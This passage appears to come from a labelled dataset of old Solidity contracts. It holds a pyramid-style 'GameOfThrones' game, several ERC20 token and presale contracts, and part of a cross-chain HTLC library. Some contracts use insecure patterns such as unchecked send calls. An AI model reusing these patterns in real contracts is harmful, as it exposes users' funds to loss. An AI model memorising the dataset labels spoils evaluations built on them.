uint[] public citizensAmounts;
uint32 public totalCitizens;
uint32 public lastCitizenPaid;
address public madKing;
uint32 public round;
uint public amountAlreadyPaidBack;
uint public amountInvested;
uint constant TWENTY_FOUR_HOURS = 60 * 60 * 24;
uint constant PEACE_PERIOD = 60 * 60 * 240;
function GameOfThrones() {
trueGods = msg.sender;
madKing = msg.sender;
jester = msg.sender;
lastCollection = block.timestamp;
onThrone = block.timestamp;
kingCost = 1 ether;
amountAlreadyPaidBack = 0;
amountInvested = 0;
totalCitizens = 0;
}
function protectKingdom() returns(bool) {
uint amount = msg.value;
if (amount < 10 finney) {
msg.sender.send(msg.value);
return false;
}
if (amount > 100 ether) {
msg.sender.send(msg.value - 100 ether);
amount = 100 ether;
}
if (lastCollection + TWENTY_FOUR_HOURS < block.timestamp) {
if (totalCitizens == 1) {
citizensAddresses[citizensAddresses.length - 1].send(piggyBank * 95 / 100);
} else if (totalCitizens == 2) {
citizensAddresses[citizensAddresses.length - 1].send(piggyBank * 60 / 100);
citizensAddresses[citizensAddresses.length - 2].send(piggyBank * 35 / 100);
} else if (totalCitizens >= 3) {
citizensAddresses[citizensAddresses.length - 1].send(piggyBank * 50 / 100);
citizensAddresses[citizensAddresses.length - 2].send(piggyBank * 30 / 100);
citizensAddresses[citizensAddresses.length - 3].send(piggyBank * 15 / 100);
}
godBank += piggyBank * 5 / 100;
piggyBank = 0;
jester = msg.sender;
citizensAddresses.push(msg.sender);
citizensAmounts.push(amount * 110 / 100);
totalCitizens += 1;
investInTheSystem(amount);
godAutomaticCollectFee();
piggyBank += amount * 90 / 100;
round += 1;
} else {
citizensAddresses.push(msg.sender);
citizensAmounts.push(amount * 110 / 100);
totalCitizens += 1;
investInTheSystem(amount);
while (citizensAmounts[lastCitizenPaid] < (address(this).balance - piggyBank - godBank - kingBank - jesterBank) && lastCitizenPaid <= totalCitizens) {
citizensAddresses[lastCitizenPaid].send(citizensAmounts[lastCitizenPaid]);
amountAlreadyPaidBack += citizensAmounts[lastCitizenPaid];
lastCitizenPaid += 1;
}
}
}
function() internal {
protectKingdom();
}
function investInTheSystem(uint amount) internal {
lastCollection = block.timestamp;
amountInvested += amount;
jesterBank += amount * 5 / 100;
kingBank += amount * 5 / 100;
piggyBank += (amount * 5 / 100);
kingAutomaticCollectFee();
jesterAutomaticCollectFee();
}
function abdicate() {
if (msg.sender == madKing && msg.sender != trueGods) {
madKing.send(kingBank);
if (piggyBank > kingCost * 40 / 100) {
madKing.send(kingCost * 40 / 100);
piggyBank -= kingCost * 40 / 100;
}
else {
madKing.send(piggyBank);
piggyBank = 0;
}
madKing = trueGods;
kingCost = 1 ether;
}
}
function murder() {
uint amount = 100 finney;
if (msg.value >= amount && msg.sender != jester) {
jester.send(jesterBank);
jesterBank = 0;
jester = msg.sender;
msg.sender.send(msg.value - amount);
investInTheSystem(amount);
} else {
throw;
}
}
function usurpation() {
uint amount = msg.value;
if (msg.sender == madKing) {
investInTheSystem(amount);
kingCost += amount;
} else {
if (onThrone + PEACE_PERIOD <= block.timestamp && amount >= kingCost * 150 / 100) {
madKing.send(kingBank);
godBank += amount * 5 / 100;
kingCost = amount;
madKing = msg.sender;
onThrone = block.timestamp;
investInTheSystem(amount);
} else {
throw;
}
}
}
function collectFee() {
if (msg.sender == trueGods) {
trueGods.send(godBank);
}
}
function godAutomaticCollectFee() internal {
if (godBank >= 1 ether) {
trueGods.send(godBank);
godBank = 0;
}
}
function kingAutomaticCollectFee() internal {
if (kingBank >= 100 finney) {
madKing.send(kingBank);
kingBank = 0;
}
}
function jesterAutomaticCollectFee() internal {
if (jesterBank >= 100 finney) {
jester.send(jesterBank);
jesterBank = 0;
}
}
} | 0 | 446 |
pragma solidity ^0.4.15;
library SafeMath {
function add(uint a, uint b) internal returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract MuxeToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public tokensBurnt;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event Burn(uint tokens);
function MuxeToken() public {
symbol = "MUXE";
name = "MUXE Token";
decimals = 18;
_totalSupply = 10000000000 * 10**uint(decimals);
tokensBurnt = 0;
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - tokensBurnt;
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function burn(uint tokens) onlyOwner public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
tokensBurnt = tokensBurnt.add(tokens);
Burn(tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 2,482 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != 0x0);
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public constant returns (bool) {
return now > endTime;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint64 public releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint64 _releaseTime) {
require(_releaseTime > now);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function claim() public {
require(msg.sender == beneficiary);
release();
}
function release() public {
require(now >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
contract AidCoin is MintableToken, BurnableToken {
string public name = "Pane&Design";
string public symbol = "PANE";
uint256 public decimals = 18;
uint256 public maxSupply = 100000000 * (10 ** decimals);
function AidCoin() public {
}
modifier canTransfer(address _from, uint _value) {
require(mintingFinished);
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender, _value) public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from, _value) public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
contract AidCoinPresale is Ownable, Crowdsale {
using SafeMath for uint256;
uint256 public tokenCap = 10000000 * (10 ** 18);
uint256 public soldTokens;
address public teamWallet;
address public advisorWallet;
address public aidPoolWallet;
address public companyWallet;
address public bountyWallet;
uint256 public teamTokens = 10000000 * (10 ** 18);
uint256 public advisorTokens = 10000000 * (10 ** 18);
uint256 public aidPoolTokens = 10000000 * (10 ** 18);
uint256 public companyTokens = 27000000 * (10 ** 18);
uint256 public bountyTokens = 3000000 * (10 ** 18);
uint256 public claimedAirdropTokens;
mapping (address => bool) public claimedAirdrop;
TokenTimelock public teamTimeLock;
TokenTimelock public advisorTimeLock;
TokenTimelock public companyTimeLock;
modifier beforeEnd() {
require(now < endTime);
_;
}
function AidCoinPresale(
uint256 _startTime,
uint256 _endTime,
uint256 _rate,
address _wallet,
address _teamWallet,
address _advisorWallet,
address _aidPoolWallet,
address _companyWallet,
address _bountyWallet
) public
Crowdsale (_startTime, _endTime, _rate, _wallet)
{
require(_teamWallet != 0x0);
require(_advisorWallet != 0x0);
require(_aidPoolWallet != 0x0);
require(_companyWallet != 0x0);
require(_bountyWallet != 0x0);
teamWallet = _teamWallet;
advisorWallet = _advisorWallet;
aidPoolWallet = _aidPoolWallet;
companyWallet = _companyWallet;
bountyWallet = _bountyWallet;
token.mint(aidPoolWallet, aidPoolTokens);
teamTimeLock = new TokenTimelock(token, teamWallet, uint64(now + 1 years));
token.mint(address(teamTimeLock), teamTokens);
companyTimeLock = new TokenTimelock(token, companyWallet, uint64(now + 1 years));
token.mint(address(companyTimeLock), companyTokens);
uint256 initialAdvisorTokens = advisorTokens.mul(20).div(100);
token.mint(advisorWallet, initialAdvisorTokens);
uint256 lockedAdvisorTokens = advisorTokens.sub(initialAdvisorTokens);
advisorTimeLock = new TokenTimelock(token, advisorWallet, uint64(now + 180 days));
token.mint(address(advisorTimeLock), lockedAdvisorTokens);
}
function createTokenContract() internal returns (MintableToken) {
return new AidCoin();
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
uint256 newTotalSold = soldTokens.add(tokens);
require(newTotalSold <= tokenCap);
weiRaised = weiRaised.add(weiAmount);
soldTokens = newTotalSold;
token.mint(beneficiary, tokens);
TokenPurchase(
msg.sender,
beneficiary,
weiAmount,
tokens
);
forwardFunds();
}
function airdrop(address[] users) public onlyOwner beforeEnd {
require(users.length > 0);
uint256 amount = 5 * (10 ** 18);
uint len = users.length;
for (uint i = 0; i < len; i++) {
address to = users[i];
if (!claimedAirdrop[to]) {
claimedAirdropTokens = claimedAirdropTokens.add(amount);
require(claimedAirdropTokens <= bountyTokens);
claimedAirdrop[to] = true;
token.mint(to, amount);
}
}
}
function closeTokenSale(address _icoContract) public onlyOwner {
require(hasEnded());
require(_icoContract != 0x0);
uint256 unclaimedAirdropTokens = bountyTokens.sub(claimedAirdropTokens);
if (unclaimedAirdropTokens > 0) {
token.mint(bountyWallet, unclaimedAirdropTokens);
}
token.transferOwnership(_icoContract);
}
function hasEnded() public constant returns (bool) {
bool capReached = soldTokens >= tokenCap;
return super.hasEnded() || capReached;
}
function hasStarted() public constant returns (bool) {
return now >= startTime && now < endTime;
}
} | 1 | 2,906 |
pragma solidity ^0.4.9;
contract ERC20 {
function totalSupply() constant returns (uint256 totalSupply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract MainstreetToken is ERC20 {
string public name = 'Mainstreet Token';
uint8 public decimals = 18;
string public symbol = 'MIT';
string public version = 'MIT_0.1';
mapping (address => uint) ownerMIT;
mapping (address => mapping (address => uint)) allowed;
uint public totalMIT;
uint public start;
address public mainstreetCrowdfund;
address public intellisys;
bool public testing;
modifier fromCrowdfund() {
if (msg.sender != mainstreetCrowdfund) {
throw;
}
_;
}
modifier isActive() {
if (block.timestamp < start) {
throw;
}
_;
}
modifier isNotActive() {
if (!testing && block.timestamp >= start) {
throw;
}
_;
}
modifier recipientIsValid(address recipient) {
if (recipient == 0 || recipient == address(this)) {
throw;
}
_;
}
modifier allowanceIsZero(address spender, uint value) {
if ((value != 0) && (allowed[msg.sender][spender] != 0)) {
throw;
}
_;
}
function MainstreetToken(address _mainstreetCrowdfund, address _intellisys, uint _start, bool _testing) {
mainstreetCrowdfund = _mainstreetCrowdfund;
intellisys = _intellisys;
start = _start;
testing = _testing;
}
function addTokens(address recipient, uint MIT) external isNotActive fromCrowdfund {
ownerMIT[recipient] += MIT;
uint intellisysMIT = MIT / 10;
ownerMIT[intellisys] += intellisysMIT;
totalMIT += MIT + intellisysMIT;
Transfer(0x0, recipient, MIT);
Transfer(0x0, intellisys, intellisysMIT);
}
function totalSupply() constant returns (uint256 totalSupply) {
totalSupply = totalMIT;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
balance = ownerMIT[_owner];
}
function transfer(address _to, uint256 _value) isActive recipientIsValid(_to) returns (bool success) {
if (ownerMIT[msg.sender] >= _value) {
ownerMIT[msg.sender] -= _value;
ownerMIT[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) isActive recipientIsValid(_to) returns (bool success) {
if (allowed[_from][msg.sender] >= _value && ownerMIT[_from] >= _value) {
ownerMIT[_to] += _value;
ownerMIT[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _value) isActive allowanceIsZero(_spender, _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
remaining = allowed[_owner][_spender];
}
}
contract MainstreetCrowdfund {
uint public start;
uint public end;
mapping (address => uint) public senderETH;
mapping (address => uint) public senderMIT;
mapping (address => uint) public recipientETH;
mapping (address => uint) public recipientMIT;
mapping (address => uint) public recipientExtraMIT;
uint public totalETH;
uint public limitETH;
uint public bonus1StartETH;
uint public bonus2StartETH;
mapping (address => bool) public whitelistedAddresses;
address public exitAddress;
address public creator;
MainstreetToken public mainstreetToken;
event MITPurchase(address indexed sender, address indexed recipient, uint ETH, uint MIT);
modifier saleActive() {
if (address(mainstreetToken) == 0) {
throw;
}
if (block.timestamp < start || block.timestamp >= end) {
throw;
}
if (totalETH + msg.value > limitETH) {
throw;
}
_;
}
modifier hasValue() {
if (msg.value == 0) {
throw;
}
_;
}
modifier senderIsWhitelisted() {
if (whitelistedAddresses[msg.sender] != true) {
throw;
}
_;
}
modifier recipientIsValid(address recipient) {
if (recipient == 0 || recipient == address(this)) {
throw;
}
_;
}
modifier isCreator() {
if (msg.sender != creator) {
throw;
}
_;
}
modifier tokenContractNotSet() {
if (address(mainstreetToken) != 0) {
throw;
}
_;
}
function MainstreetCrowdfund(uint _start, uint _end, uint _limitETH, uint _bonus1StartETH, uint _bonus2StartETH, address _exitAddress, address whitelist1, address whitelist2, address whitelist3) {
creator = msg.sender;
start = _start;
end = _end;
limitETH = _limitETH;
bonus1StartETH = _bonus1StartETH;
bonus2StartETH = _bonus2StartETH;
whitelistedAddresses[whitelist1] = true;
whitelistedAddresses[whitelist2] = true;
whitelistedAddresses[whitelist3] = true;
exitAddress = _exitAddress;
}
function setTokenContract(MainstreetToken _mainstreetToken) external isCreator tokenContractNotSet {
mainstreetToken = _mainstreetToken;
}
function purchaseMIT(address recipient) external senderIsWhitelisted payable saleActive hasValue recipientIsValid(recipient) returns (uint increaseMIT) {
if (!exitAddress.send(msg.value)) {
throw;
}
senderETH[msg.sender] += msg.value;
recipientETH[recipient] += msg.value;
totalETH += msg.value;
uint MIT = msg.value * 12;
if (block.timestamp - start < 2 weeks) {
MIT += MIT / 10;
}
else if (block.timestamp - start < 5 weeks) {
MIT += MIT / 20;
}
senderMIT[msg.sender] += MIT;
recipientMIT[recipient] += MIT;
uint oldExtra = recipientExtraMIT[recipient];
if (recipientETH[recipient] >= bonus2StartETH) {
recipientExtraMIT[recipient] = (recipientMIT[recipient] * 75) / 1000;
}
else if (recipientETH[recipient] >= bonus1StartETH) {
recipientExtraMIT[recipient] = (recipientMIT[recipient] * 375) / 10000;
}
increaseMIT = MIT + (recipientExtraMIT[recipient] - oldExtra);
mainstreetToken.addTokens(recipient, increaseMIT);
MITPurchase(msg.sender, recipient, msg.value, increaseMIT);
}
} | 0 | 1,358 |
pragma solidity ^0.4.26;
interface IRC20Protocol {
function transfer(address, uint) external returns (bool);
function transferFrom(address, address, uint) external returns (bool);
function balanceOf(address _owner) external view returns (uint);
}
pragma solidity 0.4.26;
interface IQuota {
function userLock(uint tokenId, bytes32 storemanGroupId, uint value) external;
function userBurn(uint tokenId, bytes32 storemanGroupId, uint value) external;
function smgRelease(uint tokenId, bytes32 storemanGroupId, uint value) external;
function smgMint(uint tokenId, bytes32 storemanGroupId, uint value) external;
function upgrade(bytes32 storemanGroupId) external;
function transferAsset(bytes32 srcStoremanGroupId, bytes32 dstStoremanGroupId) external;
function receiveDebt(bytes32 srcStoremanGroupId, bytes32 dstStoremanGroupId) external;
function getUserMintQuota(uint tokenId, bytes32 storemanGroupId) external view returns (uint);
function getSmgMintQuota(uint tokenId, bytes32 storemanGroupId) external view returns (uint);
function getUserBurnQuota(uint tokenId, bytes32 storemanGroupId) external view returns (uint);
function getSmgBurnQuota(uint tokenId, bytes32 storemanGroupId) external view returns (uint);
function getAsset(uint tokenId, bytes32 storemanGroupId) external view returns (uint asset, uint asset_receivable, uint asset_payable);
function getDebt(uint tokenId, bytes32 storemanGroupId) external view returns (uint debt, uint debt_receivable, uint debt_payable);
function isDebtClean(bytes32 storemanGroupId) external view returns (bool);
}
pragma solidity ^0.4.24;
interface IStoremanGroup {
function getSelectedSmNumber(bytes32 groupId) external view returns(uint number);
function getStoremanGroupConfig(bytes32 id) external view returns(bytes32 groupId, uint8 status, uint deposit, uint chain1, uint chain2, uint curve1, uint curve2, bytes gpk1, bytes gpk2, uint startTime, uint endTime);
function getDeposit(bytes32 id) external view returns(uint);
function getStoremanGroupStatus(bytes32 id) external view returns(uint8 status, uint startTime, uint endTime);
function setGpk(bytes32 groupId, bytes gpk1, bytes gpk2) external;
function setInvalidSm(bytes32 groupId, uint[] indexs, uint8[] slashTypes) external returns(bool isContinue);
function getThresholdByGrpId(bytes32 groupId) external view returns (uint);
function getSelectedSmInfo(bytes32 groupId, uint index) external view returns(address wkAddr, bytes PK, bytes enodeId);
function recordSmSlash(address wk) public;
}
pragma solidity 0.4.26;
interface ITokenManager {
function getTokenPairInfo(uint id) external view
returns (uint origChainID, bytes tokenOrigAccount, uint shadowChainID, bytes tokenShadowAccount);
function getTokenPairInfoSlim(uint id) external view
returns (uint origChainID, bytes tokenOrigAccount, uint shadowChainID);
function getAncestorInfo(uint id) external view
returns (bytes account, string name, string symbol, uint8 decimals, uint chainId);
function mintToken(address tokenAddress, address to, uint value) external;
function burnToken(address tokenAddress, address from, uint value) external;
}
pragma solidity 0.4.26;
interface ISignatureVerifier {
function verify(
uint curveId,
bytes32 signature,
bytes32 groupKeyX,
bytes32 groupKeyY,
bytes32 randomPointX,
bytes32 randomPointY,
bytes32 message
) external returns (bool);
}
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath mul overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath div 0");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath sub b > a");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath add overflow");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath mod 0");
return a % b;
}
}
pragma solidity ^0.4.26;
pragma experimental ABIEncoderV2;
library HTLCTxLib {
using SafeMath for uint;
enum TxStatus {None, Locked, Redeemed, Revoked, AssetLocked, DebtLocked}
struct HTLCUserParams {
bytes32 xHash;
bytes32 smgID;
uint tokenPairID;
uint value;
uint lockFee;
uint lockedTime;
}
struct BaseTx {
bytes32 smgID;
uint lockedTime;
uint beginLockedTime;
TxStatus status;
}
struct UserTx {
BaseTx baseTx;
uint tokenPairID;
uint value;
uint fee;
address userAccount;
}
struct SmgTx {
BaseTx baseTx;
uint tokenPairID;
uint value;
address userAccount;
}
struct DebtTx {
BaseTx baseTx;
bytes32 srcSmgID;
}
struct Data {
mapping(bytes32 => UserTx) mapHashXUserTxs;
mapping(bytes32 => SmgTx) mapHashXSmgTxs;
mapping(bytes32 => DebtTx) mapHashXDebtTxs;
}
function addUserTx(Data storage self, HTLCUserParams memory params)
public
{
UserTx memory userTx = self.mapHashXUserTxs[params.xHash];
require(userTx.baseTx.status == TxStatus.None, "User tx exists");
userTx.baseTx.smgID = params.smgID;
userTx.baseTx.lockedTime = params.lockedTime;
userTx.baseTx.beginLockedTime = now;
userTx.baseTx.status = TxStatus.Locked;
userTx.tokenPairID = params.tokenPairID;
userTx.value = params.value;
userTx.fee = params.lockFee;
userTx.userAccount = msg.sender;
self.mapHashXUserTxs[params.xHash] = userTx;
}
function redeemUserTx(Data storage self, bytes32 x)
external
returns(bytes32 xHash)
{
xHash = sha256(abi.encodePacked(x));
UserTx storage userTx = self.mapHashXUserTxs[xHash];
require(userTx.baseTx.status == TxStatus.Locked, "Status is not locked");
require(now < userTx.baseTx.beginLockedTime.add(userTx.baseTx.lockedTime), "Redeem timeout");
userTx.baseTx.status = TxStatus.Redeemed;
return xHash;
}
function revokeUserTx(Data storage self, bytes32 xHash)
external
{
UserTx storage userTx = self.mapHashXUserTxs[xHash];
require(userTx.baseTx.status == TxStatus.Locked, "Status is not locked");
require(now >= userTx.baseTx.beginLockedTime.add(userTx.baseTx.lockedTime), "Revoke is not permitted");
userTx.baseTx.status = TxStatus.Revoked;
}
function getUserTx(Data storage self, bytes32 xHash)
external
view
returns (bytes32, uint, uint, uint, address)
{
UserTx storage userTx = self.mapHashXUserTxs[xHash];
return (userTx.baseTx.smgID, userTx.tokenPairID, userTx.value, userTx.fee, userTx.userAccount);
}
function addSmgTx(Data storage self, bytes32 xHash, bytes32 smgID, uint tokenPairID, uint value, address userAccount, uint lockedTime)
external
{
SmgTx memory smgTx = self.mapHashXSmgTxs[xHash];
require(value != 0, "Value is invalid");
require(smgTx.baseTx.status == TxStatus.None, "Smg tx exists");
smgTx.baseTx.smgID = smgID;
smgTx.baseTx.status = TxStatus.Locked;
smgTx.baseTx.lockedTime = lockedTime;
smgTx.baseTx.beginLockedTime = now;
smgTx.tokenPairID = tokenPairID;
smgTx.value = value;
smgTx.userAccount = userAccount;
self.mapHashXSmgTxs[xHash] = smgTx;
}
function redeemSmgTx(Data storage self, bytes32 x)
external
returns(bytes32 xHash)
{
xHash = sha256(abi.encodePacked(x));
SmgTx storage smgTx = self.mapHashXSmgTxs[xHash];
require(smgTx.baseTx.status == TxStatus.Locked, "Status is not locked");
require(now < smgTx.baseTx.beginLockedTime.add(smgTx.baseTx.lockedTime), "Redeem timeout");
smgTx.baseTx.status = TxStatus.Redeemed;
return xHash;
}
function revokeSmgTx(Data storage self, bytes32 xHash)
external
{
SmgTx storage smgTx = self.mapHashXSmgTxs[xHash];
require(smgTx.baseTx.status == TxStatus.Locked, "Status is not locked");
require(now >= smgTx.baseTx.beginLockedTime.add(smgTx.baseTx.lockedTime), "Revoke is not permitted");
smgTx.baseTx.status = TxStatus.Revoked;
}
function getSmgTx(Data storage self, bytes32 xHash)
external
view
returns (bytes32, uint, uint, address)
{
SmgTx storage smgTx = self.mapHashXSmgTxs[xHash];
return (smgTx.baseTx.smgID, smgTx.tokenPairID, smgTx.value, smgTx.userAccount);
}
function addDebtTx(Data storage self, bytes32 xHash, bytes32 srcSmgID, bytes32 destSmgID, uint lockedTime, TxStatus status)
external
{
DebtTx memory debtTx = self.mapHashXDebtTxs[xHash];
require(debtTx.baseTx.status == TxStatus.None, "Debt tx exists");
debtTx.baseTx.smgID = destSmgID;
debtTx.baseTx.status = status;
debtTx.baseTx.lockedTime = lockedTime;
debtTx.baseTx.beginLockedTime = now;
debtTx.srcSmgID = srcSmgID;
self.mapHashXDebtTxs[xHash] = debtTx;
}
function redeemDebtTx(Data storage self, bytes32 x, TxStatus status)
external
returns(bytes32 xHash)
{
xHash = sha256(abi.encodePacked(x));
DebtTx storage debtTx = self.mapHashXDebtTxs[xHash];
require(debtTx.baseTx.status == status, "Status is not locked");
require(now < debtTx.baseTx.beginLockedTime.add(debtTx.baseTx.lockedTime), "Redeem timeout");
debtTx.baseTx.status = TxStatus.Redeemed;
return xHash;
}
